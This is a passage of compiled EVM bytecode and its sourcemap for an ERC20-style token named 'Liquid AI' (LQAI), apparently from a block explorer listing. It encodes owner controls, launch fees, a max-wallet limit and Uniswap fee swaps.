0x6080604052600436106101c65760003560e01c8063893d20e8116100f7578063aa4bde2811610095578063dd62ed3e11610064578063dd62ed3e146104ce578063e67e553b14610514578063e9451f5f1461054d578063f2fde38b1461056257600080fd5b8063aa4bde281461046e578063c31c9c0714610484578063d1e3d305146104a4578063dc9d75b0146104b957600080fd5b806395d89b41116100d157806395d89b41146103f7578063964b92e8146104245780639c00316e14610439578063a9059cbb1461044e57600080fd5b8063893d20e8146103c45780638a8c523c146103e25780638da5cb5b146103c457600080fd5b8063313ce56711610164578063452ed4f11161013e578063452ed4f11461034457806360cad12a1461036457806370a0823114610379578063715018a6146103af57600080fd5b8063313ce567146102e757806339f69036146103035780633eaaf86b1461032557600080fd5b8063095ea7b3116101a0578063095ea7b31461026457806318160ddd146102945780631dc36945146102b257806323b872dd146102c757600080fd5b806303fd2a45146101d25780630445b6671461020557806306fdde031461022957600080fd5b366101cd57005b600080fd5b3480156101de57600080fd5b506101e861dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561021157600080fd5b5061021b60065481565b6040519081526020016101fc565b34801561023557600080fd5b506040805180820190915260098152684c697175696420414960b81b60208201525b6040516101fc919061173b565b34801561027057600080fd5b5061028461027f36600461179e565b610582565b60405190151581526020016101fc565b3480156102a057600080fd5b506a52b7d2dcc80cd2e400000061021b565b3480156102be57600080fd5b5061021b600081565b3480156102d357600080fd5b506102846102e23660046117ca565b610599565b3480156102f357600080fd5b50604051601281526020016101fc565b34801561030f57600080fd5b5061032361031e36600461180b565b610613565b005b34801561033157600080fd5b5061021b6a52b7d2dcc80cd2e400000081565b34801561035057600080fd5b506009546101e8906001600160a01b031681565b34801561037057600080fd5b506103236106d2565b34801561038557600080fd5b5061021b610394366004611824565b6001600160a01b031660009081526004602052604090205490565b3480156103bb57600080fd5b5061032361077b565b3480156103d057600080fd5b506000546001600160a01b03166101e8565b3480156103ee57600080fd5b506103236107b1565b34801561040357600080fd5b506040805180820190915260048152634c51414960e01b6020820152610257565b34801561043057600080fd5b50610323610835565b34801561044557600080fd5b5061021b602d81565b34801561045a57600080fd5b5061028461046936600461179e565b610870565b34801561047a57600080fd5b5061021b60055481565b34801561049057600080fd5b506008546101e8906001600160a01b031681565b3480156104b057600080fd5b50610323610887565b3480156104c557600080fd5b5061021b606481565b3480156104da57600080fd5b5061021b6104e9366004611841565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561052057600080fd5b5061028461052f366004611824565b6001600160a01b031660009081526002602052604090205460ff1690565b34801561055957600080fd5b5061021b600581565b34801561056e57600080fd5b5061032361057d366004611824565b610c34565b600061058f338484610ccc565b5060015b92915050565b6001600160a01b0383166000908152600160209081526040808320338452909152812054600019146105fe576001600160a01b0384166000908152600160209081526040808320338452909152812080548492906105f8908490611890565b90915550505b610609848484610d90565b90505b9392505050565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161063d906118a3565b60405180910390fd5b60648110156106975760405162461bcd60e51b815260206004820152601a60248201527f416d6f756e74206c6f776572206e6f742061636365707465642e000000000000604482015260640161063d565b60068190556040518181527f0803b468270e227b04387fe6982873ebbef5f4375120e7fbc16103378f08bbf59060200160405180910390a150565b6000546001600160a01b031633146106fc5760405162461bcd60e51b815260040161063d906118a3565b6000471161074c5760405162461bcd60e51b815260206004820152601760248201527f4e6f2042616c616e636520746f20776974686472617721000000000000000000604482015260640161063d565b60405133904780156108fc02916000818181858888f19350505050158015610778573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107a55760405162461bcd60e51b815260040161063d906118a3565b6107af600061115b565b565b6000546001600160a01b031633146107db5760405162461bcd60e51b815260040161063d906118a3565b600c5460ff16156108225760405162461bcd60e51b8152602060048201526011602482015270416c7265616479206c61756e636865642160781b604482015260640161063d565b600c805460ff1916600117905543600a55565b6000546001600160a01b0316331461085f5760405162461bcd60e51b815260040161063d906118a3565b6a52b7d2dcc80cd2e4000000600555565b600061087d338484610d90565b5060019392505050565b6000546001600160a01b031633146108b15760405162461bcd60e51b815260040161063d906118a3565b600c5460ff16156109045760405162461bcd60e51b815260206004820152601b60248201527f416c7265616479204c6971756964204149206c61756e63686564210000000000604482015260640161063d565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109449030906a52b7d2dcc80cd2e4000000610ccc565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610997573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bb91906118d8565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4191906118d8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab291906118d8565b600980546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff191660011790556008541663f305d7194730610b15816001600160a01b031660009081526004602052604090205490565b600080610b2a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b92573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bb791906118f5565b505060095460085460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610c10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107789190611923565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b815260040161063d906118a3565b6001600160a01b038116610cc35760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063d565b6107788161115b565b6001600160a01b038316610d185760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161063d565b6001600160a01b038216610d645760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b604482015260640161063d565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610df65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063d565b6001600160a01b038516610e5a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063d565b60008311610ebc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063d565b610ec5856111ab565b15610edd57610ed58585856111fb565b91505061060c565b6001600160a01b03851660009081526002602052604090205460ff1680610f1c57506001600160a01b03841660009081526002602052604090205460ff165b15610f2957506000611091565b600c5460ff16610f745760405162461bcd60e51b815260206004820152601660248201527554726164696e67206973206e6f74206f70656e65642160501b604482015260640161063d565b610f7e85856112d3565b8015610f945750600954600160a01b900460ff16155b1561101657306000908152600460205260409020546006548110801590610fc55750600954600160a01b900460ff16155b1561101057610fd66012600a611a29565b610fe390620f4240611a38565b81111561100657610ff66012600a611a29565b61100390620f4240611a38565b90505b611010848261131e565b50611091565b60055483611039866001600160a01b031660009081526004602052604090205490565b6110439190611a4f565b11156110915760405162461bcd60e51b815260206004820152601760248201527f4d61782077616c6c6574203225206174206c61756e6368000000000000000000604482015260640161063d565b6001600160a01b038516600090815260046020526040812080548592906110b9908490611890565b9091555060009050816110cc57836110e0565b6110e0866110da88886112d3565b86611528565b6001600160a01b03861660009081526004602052604081208054929350839290919061110d908490611a4f565b92505081905550846001600160a01b0316866001600160a01b0316600080516020611b0c8339815191528360405161114791815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811660009081526002602052604081205460ff1680156111e157506000546001600160a01b03838116911614155b801561059357506001600160a01b03821630141592915050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600490915291822054829161124f919083906116a2565b6001600160a01b03808716600090815260046020526040808220939093559086168152205461127e90846116dc565b6001600160a01b038086166000818152600460205260409081902093909355915190871690600080516020611b0c833981519152906112c09087815260200190565b60405180910390a3506001949350505050565b6001600160a01b038116600090815260036020526040812054819060ff16801561131657506001600160a01b03841660009081526003602052604090205460ff16155b949350505050565b6009805460ff60a01b1916600160a01b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136657611366611a62565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e391906118d8565b816001815181106113f6576113f6611a62565b6001600160a01b03928316602091820292909201810191909152306000908152600182526040808220600854909416825292909152205460001914611460573060009081526001602090815260408083206008546001600160a01b03168452909152902060001990555b6006548311156115155760085460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a3908590600090869030904290600401611a78565b600060405180830381600087803b1580156114bd57600080fd5b505af19250505080156114ce575060015b6114d85750611517565b60075460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015611512573d6000803e3d6000fd5b50505b505b50506009805460ff60a01b19169055565b600080600b54600a5461153b9190611a4f565b43101561154a5750602d611557565b5060008315611557575060055b80600003611568578291505061060c565b600060646115768386611a38565b6115809190611ae9565b9050801561168e57600060646115968287611a38565b6115a09190611ae9565b306000908152600460205260408120805492935084929091906115c4908490611a4f565b909155505060405182815230906001600160a01b03891690600080516020611b0c8339815191529060200160405180910390a3801561168c57306000908152600460205260408120805483929061161c908490611890565b909155505061dead600090815260046020527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd805483929061165f908490611a4f565b909155505060405181815261dead903090600080516020611b0c8339815191529060200160405180910390a35b505b6116988185611890565b9695505050505050565b600081848411156116c65760405162461bcd60e51b815260040161063d919061173b565b5060006116d38486611890565b95945050505050565b6000806116e98385611a4f565b90508381101561060c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063d565b600060208083528351808285015260005b818110156117685785810183015185820160400152820161174c565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461077857600080fd5b600080604083850312156117b157600080fd5b82356117bc81611789565b946020939093013593505050565b6000806000606084860312156117df57600080fd5b83356117ea81611789565b925060208401356117fa81611789565b929592945050506040919091013590565b60006020828403121561181d57600080fd5b5035919050565b60006020828403121561183657600080fd5b813561060c81611789565b6000806040838503121561185457600080fd5b823561185f81611789565b9150602083013561186f81611789565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b818103818111156105935761059361187a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ea57600080fd5b815161060c81611789565b60008060006060848603121561190a57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193557600080fd5b8151801515811461060c57600080fd5b600181815b808511156119805781600019048211156119665761196661187a565b8085161561197357918102915b93841c939080029061194a565b509250929050565b60008261199757506001610593565b816119a457506000610593565b81600181146119ba57600281146119c4576119e0565b6001915050610593565b60ff8411156119d5576119d561187a565b50506001821b610593565b5060208310610133831016604e8410600b8410161715611a03575081810a610593565b611a0d8383611945565b8060001904821115611a2157611a2161187a565b029392505050565b600061060c60ff841683611988565b80820281158282048414176105935761059361187a565b808201808211156105935761059361187a565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ac85784516001600160a01b031683529383019391830191600101611aa3565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611b0657634e487b7160e01b600052601260045260246000fd5b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212203f6e80ed2723772567bb07bfc4bb78517c542af963d68ca8fce17bffc207131764736f6c63430008130033

Deployed Bytecode Sourcemap

5980:9061:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7976:73;;;;;;;;;;;;8007:42;7976:73;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;7976:73:0;;;;;;;;7376:50;;;;;;;;;;;;;;;;;;;368:25:1;;;356:2;341:18;7376:50:0;222:177:1;6412:80:0;;;;;;;;;;-1:-1:-1;6484:5:0;;;;;;;;;;;;-1:-1:-1;;;6484:5:0;;;;6412:80;;;;;;;:::i;9480:161::-;;;;;;;;;;-1:-1:-1;9480:161:0;;;;;:::i;:::-;;:::i;:::-;;;1578:14:1;;1571:22;1553:41;;1541:2;1526:18;9480:161:0;1413:187:1;6068:125:0;;;;;;;;;;-1:-1:-1;7156:20:0;6068:125;;7435:34;;;;;;;;;;;;7468:1;7435:34;;9916:306;;;;;;;;;;-1:-1:-1;9916:306:0;;;;;:::i;:::-;;:::i;6199:117::-;;;;;;;;;;-1:-1:-1;6199:117:0;;7108:2;2208:36:1;;2196:2;2181:18;6199:117:0;2066:184:1;14649:220:0;;;;;;;;;;-1:-1:-1;14649:220:0;;;;;:::i;:::-;;:::i;:::-;;7117:59;;;;;;;;;;;;7156:20;7117:59;;8058:21;;;;;;;;;;-1:-1:-1;8058:21:0;;;;-1:-1:-1;;;;;8058:21:0;;;12658:196;;;;;;;;;;;;;:::i;6723:117::-;;;;;;;;;;-1:-1:-1;6723:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6816:16:0;6789:7;6816:16;;;:7;:16;;;;;;;6723:117;2248:94;;;;;;;;;;;;;:::i;6498:80::-;;;;;;;;;;-1:-1:-1;6550:7:0;2098:6;-1:-1:-1;;;;;2098:6:0;6498:80;;14877:161;;;;;;;;;;;;;:::i;6322:84::-;;;;;;;;;;-1:-1:-1;6396:7:0;;;;;;;;;;;;-1:-1:-1;;;6396:7:0;;;;6322:84;;12552:98;;;;;;;;;;;;;:::i;7528:39::-;;;;;;;;;;;;7565:2;7528:39;;9307:165;;;;;;;;;;-1:-1:-1;9307:165:0;;;;;:::i;:::-;;:::i;7281:47::-;;;;;;;;;;;;;;;;7841:27;;;;;;;;;;-1:-1:-1;7841:27:0;;;;-1:-1:-1;;;;;7841:27:0;;;8632:630;;;;;;;;;;;;;:::i;7574:45::-;;;;;;;;;;;;7616:3;7574:45;;6584:133;;;;;;;;;;-1:-1:-1;6584:133:0;;;;;:::i;:::-;-1:-1:-1;;;;;6686:19:0;;;6668:7;6686:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;6584:133;10230:115;;;;;;;;;;-1:-1:-1;10230:115:0;;;;;:::i;:::-;-1:-1:-1;;;;;10322:15:0;10298:4;10322:15;;;:6;:15;;;;;;;;;10230:115;7484:35;;;;;;;;;;;;7518:1;7484:35;;2350:192;;;;;;;;;;-1:-1:-1;2350:192:0;;;;;:::i;:::-;;:::i;9480:161::-;9557:4;9574:37;9583:10;9595:7;9604:6;9574:8;:37::i;:::-;-1:-1:-1;9629:4:0;9480:161;;;;;:::o;9916:306::-;-1:-1:-1;;;;;10037:19:0;;10016:4;10037:19;;;:11;:19;;;;;;;;10057:10;10037:31;;;;;;;;-1:-1:-1;;10037:52:0;10033:126;;-1:-1:-1;;;;;10106:19:0;;;;;;:11;:19;;;;;;;;10126:10;10106:31;;;;;;;:41;;10141:6;;10106:19;:41;;10141:6;;10106:41;:::i;:::-;;;;-1:-1:-1;;10033:126:0;10178:36;10188:6;10196:9;10207:6;10178:9;:36::i;:::-;10171:43;;9916:306;;;;;;:::o;14649:220::-;2071:7;2098:6;-1:-1:-1;;;;;2098:6:0;441:10;2160:23;2152:68;;;;-1:-1:-1;;;2152:68:0;;;;;;;:::i;:::-;;;;;;;;;14744:3:::1;14734:6;:13;;14726:51;;;::::0;-1:-1:-1;;;14726:51:0;;4138:2:1;14726:51:0::1;::::0;::::1;4120:21:1::0;4177:2;4157:18;;;4150:30;4216:28;4196:18;;;4189:56;4262:18;;14726:51:0::1;3936:350:1::0;14726:51:0::1;14788:13;:22:::0;;;14826:35:::1;::::0;368:25:1;;;14826:35:0::1;::::0;356:2:1;341:18;14826:35:0::1;;;;;;;14649:220:::0;:::o;12658:196::-;2071:7;2098:6;-1:-1:-1;;;;;2098:6:0;441:10;2160:23;2152:68;;;;-1:-1:-1;;;2152:68:0;;;;;;;:::i;:::-;12755:1:::1;12731:21;:25;12723:61;;;::::0;-1:-1:-1;;;12723:61:0;;4493:2:1;12723:61:0::1;::::0;::::1;4475:21:1::0;4532:2;4512:18;;;4505:30;4571:25;4551:18;;;4544:53;4614:18;;12723:61:0::1;4291:347:1::0;12723:61:0::1;12795:51;::::0;12803:10:::1;::::0;12824:21:::1;12795:51:::0;::::1;;;::::0;::::1;::::0;;;12824:21;12803:10;12795:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12658:196::o:0;2248:94::-;2071:7;2098:6;-1:-1:-1;;;;;2098:6:0;441:10;2160:23;2152:68;;;;-1:-1:-1;;;2152:68:0;;;;;;;:::i;:::-;2313:21:::1;2331:1;2313:9;:21::i;:::-;2248:94::o:0;14877:161::-;2071:7;2098:6;-1:-1:-1;;;;;2098:6:0;441:10;2160:23;2152:68;;;;-1:-1:-1;;;2152:68:0;;;;;;;:::i;:::-;14941:6:::1;::::0;::::1;;14940:7;14932:36;;;::::0;-1:-1:-1;;;14932:36:0;;4845:2:1;14932:36:0::1;::::0;::::1;4827:21:1::0;4884:2;4864:18;;;4857:30;-1:-1:-1;;;4903:18:1;;;4896:47;4960:18;;14932:36:0::1;4643:341:1::0;14932:36:0::1;14981:6;:13:::0;;-1:-1:-1;;14981:13:0::1;14990:4;14981:13;::::0;;15018:12:::1;15005:10;:25:::0;14877:161::o;12552:98::-;2071:7;2098:6;-1:-1:-1;;;;;2098:6:0;441:10;2160:23;2152:68;;;;-1:-1:-1;;;2152:68:0;;;;;;;:::i;:::-;7156:20:::1;12612:15;:30:::0;12552:98::o;9307:165::-;9385:4;9402:40;9412:10;9424:9;9435:6;9402:9;:40::i;:::-;-1:-1:-1;9460:4:0;;9307:165;-1:-1:-1;;;9307:165:0:o;8632:630::-;2071:7;2098:6;-1:-1:-1;;;;;2098:6:0;441:10;2160:23;2152:68;;;;-1:-1:-1;;;2152:68:0;;;;;;;:::i;:::-;8702:6:::1;::::0;::::1;;8701:7;8693:46;;;::::0;-1:-1:-1;;;8693:46:0;;5191:2:1;8693:46:0::1;::::0;::::1;5173:21:1::0;5230:2;5210:18;;;5203:30;5269:29;5249:18;;;5242:57;5316:18;;8693:46:0::1;4989:351:1::0;8693:46:0::1;8752:10;:66:::0;;-1:-1:-1;;;;;;8752:66:0::1;8775:42;8752:66:::0;;::::1;::::0;;;8860:58:::1;::::0;8877:4:::1;::::0;7156:20:::1;8860:8;:58::i;:::-;8949:10;;;;;;;;;-1:-1:-1::0;;;;;8949:10:0::1;-1:-1:-1::0;;;;;8949:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8938:43:0::1;;8990:4;8997:10;;;;;;;;;-1:-1:-1::0;;;;;8997:10:0::1;-1:-1:-1::0;;;;;8997:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8938:77;::::0;-1:-1:-1;;;;;;8938:77:0::1;::::0;;;;;;-1:-1:-1;;;;;5831:15:1;;;8938:77:0::1;::::0;::::1;5813:34:1::0;5883:15;;5863:18;;;5856:43;5748:18;;8938:77:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8929:6;:86:::0;;-1:-1:-1;;;;;8929:86:0;;::::1;-1:-1:-1::0;;;;;;8929:86:0;;::::1;::::0;::::1;::::0;;;:6:::1;9026:16:::0;;;:8:::1;:16;::::0;;;;:23;;-1:-1:-1;;9026:23:0::1;8929:86:::0;9026:23:::1;::::0;;9060:10:::1;::::0;::::1;:26;9094:21;9125:4;9131:24;9125:4:::0;-1:-1:-1;;;;;6816:16:0;6789:7;6816:16;;;:7;:16;;;;;;;6723:117;9131:24:::1;9156:1;9158::::0;9160:7:::1;2071::::0;2098:6;-1:-1:-1;;;;;2098:6:0;;2025:87;9160:7:::1;9060:124;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9060:124:0;;;-1:-1:-1;;;;;6269:15:1;;;9060:124:0::1;::::0;::::1;6251:34:1::0;6301:18;;;6294:34;;;;6344:18;;;6337:34;;;;6387:18;;;6380:34;6451:15;;;6430:19;;;6423:44;9168:15:0::1;6483:19:1::0;;;6476:35;6185:19;;9060:124:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9202:6:0::1;::::0;9226:10:::1;::::0;9195:59:::1;::::0;-1:-1:-1;;;9195:59:0;;-1:-1:-1;;;;;9226:10:0;;::::1;9195:59;::::0;::::1;7007:51:1::0;-1:-1:-1;;7074:18:1;;;7067:34;9202:6:0;::::1;::::0;-1:-1:-1;9195:22:0::1;::::0;6980:18:1;;9195:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2350:192::-:0;2071:7;2098:6;-1:-1:-1;;;;;2098:6:0;441:10;2160:23;2152:68;;;;-1:-1:-1;;;2152:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2439:22:0;::::1;2431:73;;;::::0;-1:-1:-1;;;2431:73:0;;7596:2:1;2431:73:0::1;::::0;::::1;7578:21:1::0;7635:2;7615:18;;;7608:30;7674:34;7654:18;;;7647:62;-1:-1:-1;;;7725:18:1;;;7718:36;7771:19;;2431:73:0::1;7394:402:1::0;2431:73:0::1;2515:19;2525:8;2515:9;:19::i;9649:259::-:0;-1:-1:-1;;;;;9744:20:0;;9736:52;;;;-1:-1:-1;;;9736:52:0;;8003:2:1;9736:52:0;;;7985:21:1;8042:2;8022:18;;;8015:30;-1:-1:-1;;;8061:18:1;;;8054:49;8120:18;;9736:52:0;7801:343:1;9736:52:0;-1:-1:-1;;;;;9807:21:0;;9799:53;;;;-1:-1:-1;;;9799:53:0;;8003:2:1;9799:53:0;;;7985:21:1;8042:2;8022:18;;;8015:30;-1:-1:-1;;;8061:18:1;;;8054:49;8120:18;;9799:53:0;7801:343:1;9799:53:0;-1:-1:-1;;;;;9863:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;9649:259::o;11117:1427::-;11197:4;11229;-1:-1:-1;;;;;11252:16:0;;11244:64;;;;-1:-1:-1;;;11244:64:0;;8351:2:1;11244:64:0;;;8333:21:1;8390:2;8370:18;;;8363:30;8429:34;8409:18;;;8402:62;-1:-1:-1;;;8480:18:1;;;8473:33;8523:19;;11244:64:0;8149:399:1;11244:64:0;-1:-1:-1;;;;;11327:18:0;;11319:68;;;;-1:-1:-1;;;11319:68:0;;8755:2:1;11319:68:0;;;8737:21:1;8794:2;8774:18;;;8767:30;8833:34;8813:18;;;8806:62;-1:-1:-1;;;8884:18:1;;;8877:35;8929:19;;11319:68:0;8553:401:1;11319:68:0;11415:1;11406:6;:10;11398:64;;;;-1:-1:-1;;;11398:64:0;;9161:2:1;11398:64:0;;;9143:21:1;9200:2;9180:18;;;9173:30;9239:34;9219:18;;;9212:62;-1:-1:-1;;;9290:18:1;;;9283:39;9339:19;;11398:64:0;8959:405:1;11398:64:0;11478:28;11501:4;11478:22;:28::i;:::-;11475:99;;;11530:32;11545:4;11551:2;11555:6;11530:14;:32::i;:::-;11523:39;;;;;11475:99;-1:-1:-1;;;;;11590:12:0;;;;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;11606:10:0;;;;;;:6;:10;;;;;;;;11590:26;11586:689;;;-1:-1:-1;11642:5:0;11586:689;;;11688:6;;;;11680:41;;;;-1:-1:-1;;;11680:41:0;;9571:2:1;11680:41:0;;;9553:21:1;9610:2;9590:18;;;9583:30;-1:-1:-1;;;9629:18:1;;;9622:52;9691:18;;11680:41:0;9369:346:1;11680:41:0;11741:23;11755:4;11761:2;11741:13;:23::i;:::-;:35;;;;-1:-1:-1;11770:6:0;;-1:-1:-1;;;11770:6:0;;;;11769:7;11741:35;11738:526;;;11838:4;11797:20;6816:16;;;:7;:16;;;;;;11882:13;;11866:29;;;;;:40;;-1:-1:-1;11900:6:0;;-1:-1:-1;;;11900:6:0;;;;11899:7;11866:40;11863:268;;;7239:13;7108:2;7239;:13;:::i;:::-;7229:23;;:7;:23;:::i;:::-;11936:12;:25;11932:107;;;7239:13;7108:2;7239;:13;:::i;:::-;7229:23;;:7;:23;:::i;:::-;11990:25;;11932:107;12077:34;12090:6;12098:12;12077;:34::i;:::-;11778:368;11738:526;;;12205:15;;12195:6;12179:13;12189:2;-1:-1:-1;;;;;6816:16:0;6789:7;6816:16;;;:7;:16;;;;;;;6723:117;12179:13;:22;;;;:::i;:::-;:41;;12171:77;;;;-1:-1:-1;;;12171:77:0;;11608:2:1;12171:77:0;;;11590:21:1;11647:2;11627:18;;;11620:30;11686:25;11666:18;;;11659:53;11729:18;;12171:77:0;11406:347:1;12171:77:0;-1:-1:-1;;;;;12287:13:0;;;;;;:7;:13;;;;;:23;;12304:6;;12287:13;:23;;12304:6;;12287:23;:::i;:::-;;;;-1:-1:-1;12321:22:0;;-1:-1:-1;12347:7:0;12346:75;;12415:6;12346:75;;;12358:54;12374:4;12380:23;12394:4;12400:2;12380:13;:23::i;:::-;12405:6;12358:15;:54::i;:::-;-1:-1:-1;;;;;12432:11:0;;;;;;:7;:11;;;;;:29;;12321:100;;-1:-1:-1;12321:100:0;;12432:11;;;:29;;12321:100;;12432:29;:::i;:::-;;;;;;;;12493:2;-1:-1:-1;;;;;12478:34:0;12487:4;-1:-1:-1;;;;;12478:34:0;-1:-1:-1;;;;;;;;;;;12497:14:0;12478:34;;;;368:25:1;;356:2;341:18;;222:177;12478:34:0;;;;;;;;-1:-1:-1;12532:4:0;;11117:1427;-1:-1:-1;;;;;11117:1427:0:o;2550:173::-;2606:16;2625:6;;-1:-1:-1;;;;;2642:17:0;;;-1:-1:-1;;;;;;2642:17:0;;;;;;2675:40;;2625:6;;;;;;;2675:40;;2606:16;2675:40;2595:128;2550:173;:::o;10532:149::-;-1:-1:-1;;;;;10624:11:0;;10600:4;10624:11;;;:6;:11;;;;;;;;:27;;;;-1:-1:-1;2071:7:0;2098:6;-1:-1:-1;;;;;10639:12:0;;;2098:6;;10639:12;;10624:27;:49;;;;-1:-1:-1;;;;;;10655:18:0;;10668:4;10655:18;;10617:56;10532:149;-1:-1:-1;;10532:149:0:o;10689:420::-;10877:89;;;;;;;;;;;-1:-1:-1;;;10877:89:0;;;;;;;;-1:-1:-1;;;;;10877:15:0;;10816:4;10877:15;;;:7;:15;;;;;;;10816:4;;10877:89;;:15;10816:4;;10877:19;:89::i;:::-;-1:-1:-1;;;;;10859:15:0;;;;;;;:7;:15;;;;;;:107;;;;10998:18;;;;;;;:30;;11021:6;10998:22;:30::i;:::-;-1:-1:-1;;;;;10977:18:0;;;;;;;:7;:18;;;;;;;:51;;;;11044:35;;;;;;-1:-1:-1;;;;;;;;;;;11044:35:0;;;11072:6;368:25:1;;356:2;341:18;;222:177;11044:35:0;;;;;;;;-1:-1:-1;11097:4:0;;10689:420;-1:-1:-1;;;;10689:420:0:o;10353:171::-;-1:-1:-1;;;;;10459:13:0;;10425:4;10459:13;;;:8;:13;;;;;;10425:4;;10459:13;;:31;;;;-1:-1:-1;;;;;;10477:13:0;;;;;;:8;:13;;;;;;;;10476:14;10459:31;10443:47;10353:171;-1:-1:-1;;;;10353:171:0:o;13769:872::-;8256:6;:13;;-1:-1:-1;;;;8256:13:0;-1:-1:-1;;;8256:13:0;;;13904:16:::1;::::0;;13918:1:::1;13904:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13904:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13904:16:0::1;13880:40;;13949:4;13931;13936:1;13931:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13931:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13975:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;13975:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;13931:7;;13975:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13965:4;13970:1;13965:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13965:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:27;;;;14029:4:::1;14009:26;::::0;;;:11:::1;:26:::0;;;;;;14044:10:::1;::::0;;;::::1;14009:47:::0;;;;;;;;-1:-1:-1;;14009:68:0::1;14005:168;;14114:4;14094:26;::::0;;;:11:::1;:26;::::0;;;;;;;14129:10:::1;::::0;-1:-1:-1;;;;;14129:10:0::1;14094:47:::0;;;;;;;-1: